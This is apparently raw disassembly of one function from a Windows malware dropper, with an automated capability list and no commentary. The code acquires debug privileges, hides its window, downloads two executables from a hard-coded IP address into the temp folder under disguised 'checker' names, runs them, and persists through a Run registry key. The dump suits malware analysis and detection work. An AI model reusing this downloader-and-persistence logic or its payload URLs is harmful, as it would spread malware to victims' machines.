Function at 0x4031b0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Download url
Execute command
Execute shellcode via indirect call
Get common file path
Hide graphical window
Persist via run registry key
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4050d7
mov eax, dword fs:[0]
push eax
sub esp, 0x324
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5d
call esi
push 0xe9
call esi
call fcn.00402f70
mov esi, dword [0x409448]
lea eax, [ebp - 0x2a4]
mov ebx, dword [0x409444]
push eax
push 0x40
sub ebx, esi
mov dword [ebp - 0x2a0], esi
push ebx
push esi
mov dword [ebp - 0x29c], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test ebx, ebx
je 0x403250
mov edi, ebx
mov ebx, 0x3039
nop word [eax + eax]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
lea esi, [esi + 1]
idiv ebx
mov byte [esi - 1], dl
sub edi, 1
jne 0x403230
mov ebx, dword [ebp - 0x29c]
mov esi, dword [ebp - 0x2a0]
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x2a4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 5
call ebx
lea eax, [ebp - 0x2a4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4032f0
lea eax, [ebp - 0x268]
push eax
push str.SeDebugPrivilege
push 0
call edi
test eax, eax
je 0x4032f0
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
push 0
push 0
push 0x10
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x228]
push eax
push 0
push dword [ebp - 0x2a4]
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x79
call ebx
lea ecx, [ebp - 0x330]
call fcn.00402240
lea ecx, [ebp - 0x330]
call fcn.00402e90
push 0x2b
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.bdfgdfdfgsdfgdfgixcbvdfgsdfdfgdfgdtchbly
lea ecx, [ebp - 0x2c0]
call fcn.00403a10
lea ecx, [ebp - 0x330]
mov dword [ebp - 4], 0
call fcn.00402240
lea ecx, [ebp - 0x330]
call fcn.00402e90
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 0xf
jbe 0x40338d
mov edx, dword [ebp - 0x2c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403383
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403383
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f10
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4037ad
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00403890
push str.WindowsMD5Checker.exe
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x248]
call fcn.00403b20
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 7
jbe 0x40341b
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403411
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403411
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f10
add esp, 8
xor eax, eax
mov dword [ebp - 0x2b0], 0
mov word [ebp - 0x2c0], ax
lea ecx, [ebp - 0x230]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x2ac], 7
push eax
call fcn.00403890
push str.SandelloChecker.exe
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x260]
call fcn.00403b20
add esp, 4
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x4034a9
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40349f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40349f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f10
add esp, 8
xor eax, eax
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
lea ecx, [ebp - 0x298]
lea eax, [ebp - 0x248]
mov dword [ebp - 0x21c], 7
push eax
call fcn.00403bf0
add esp, 4
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x280]
call fcn.00403bf0
add esp, 4
push 0x3e9
call ebx
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmova eax, dword [ebp - 0x248]
push 0
push 0
push eax
push str.http:__79.137.202.105_Datalife5private8_4LinuxWp_Privatelocal0_linuxRequest1_AdminTool.exe
push 0
call edi
cmp dword [ebp - 0x24c], 7
lea ecx, [ebp - 0x260]
push 0
cmova ecx, dword [ebp - 0x260]
mov esi, eax
push 0
push ecx
push str.http:__79.137.202.105_Datalife5private8_4LinuxWp_Privatelocal0_linuxRequest1_sandello.exe
push 0
call edi
test esi, esi
js 0x403652
push 0x3e7
call ebx
cmp dword [ebp - 0x284], 7
lea eax, [ebp - 0x298]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
cmova eax, dword [ebp - 0x298]
push eax
call esi
add esp, 4
lea eax, [ebp - 0x280]
cmp dword [ebp - 0x26c], 7
cmova eax, dword [ebp - 0x280]
push eax
call esi
add esp, 4
push 0x3eb
call ebx
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmova eax, dword [ebp - 0x248]
push 0
push 0
push 0
push eax
push str.open
push 0
call esi
cmp dword [ebp - 0x24c], 7
lea eax, [ebp - 0x260]
push 0
cmova eax, dword [ebp - 0x260]
push 0
push 0
push eax
push str.open
push 0
call esi
lea eax, [ebp - 0x29c]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x234], 7
lea edx, [ebp - 0x248]
lea esi, [ebp - 0x248]
cmova edx, dword [ebp - 0x248]
cmova esi, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push 0
push str.Telegramm
push dword [ebp - 0x29c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x29c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x26c]
cmp ecx, 7
jbe 0x403692
mov edx, dword [ebp - 0x280]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403688
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403797
push ecx
push edx
call fcn.00403f10
add esp, 8
mov ecx, dword [ebp - 0x284]
xor eax, eax
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 7
mov word [ebp - 0x280], ax
cmp ecx, 7
jbe 0x4036ef
mov edx, dword [ebp - 0x298]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4036e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403797
push ecx
push edx
call fcn.00403f10
add esp, 8
mov ecx, dword [ebp - 0x24c]
xor eax, eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 7
mov word [ebp - 0x298], ax
cmp ecx, 7
jbe 0x403748
mov edx, dword [ebp - 0x260]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40373e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403797
push ecx
push edx
call fcn.00403f10
add esp, 8
mov ecx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
cmp ecx, 7
jbe 0x4037a7
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40379d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40379d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f10
add esp, 8
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0x8d
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov ebx, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea eax, [ebp - 0x2a0]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4037c0
lea eax, [ebp - 0x224]
push eax
push str.SeShutdownPrivilege
push 0
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 1
push eax
push 0
push dword [ebp - 0x2a0]
mov dword [ebp - 0x21c], 2
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4037c0
push eax
call esi
jmp 0x4037c0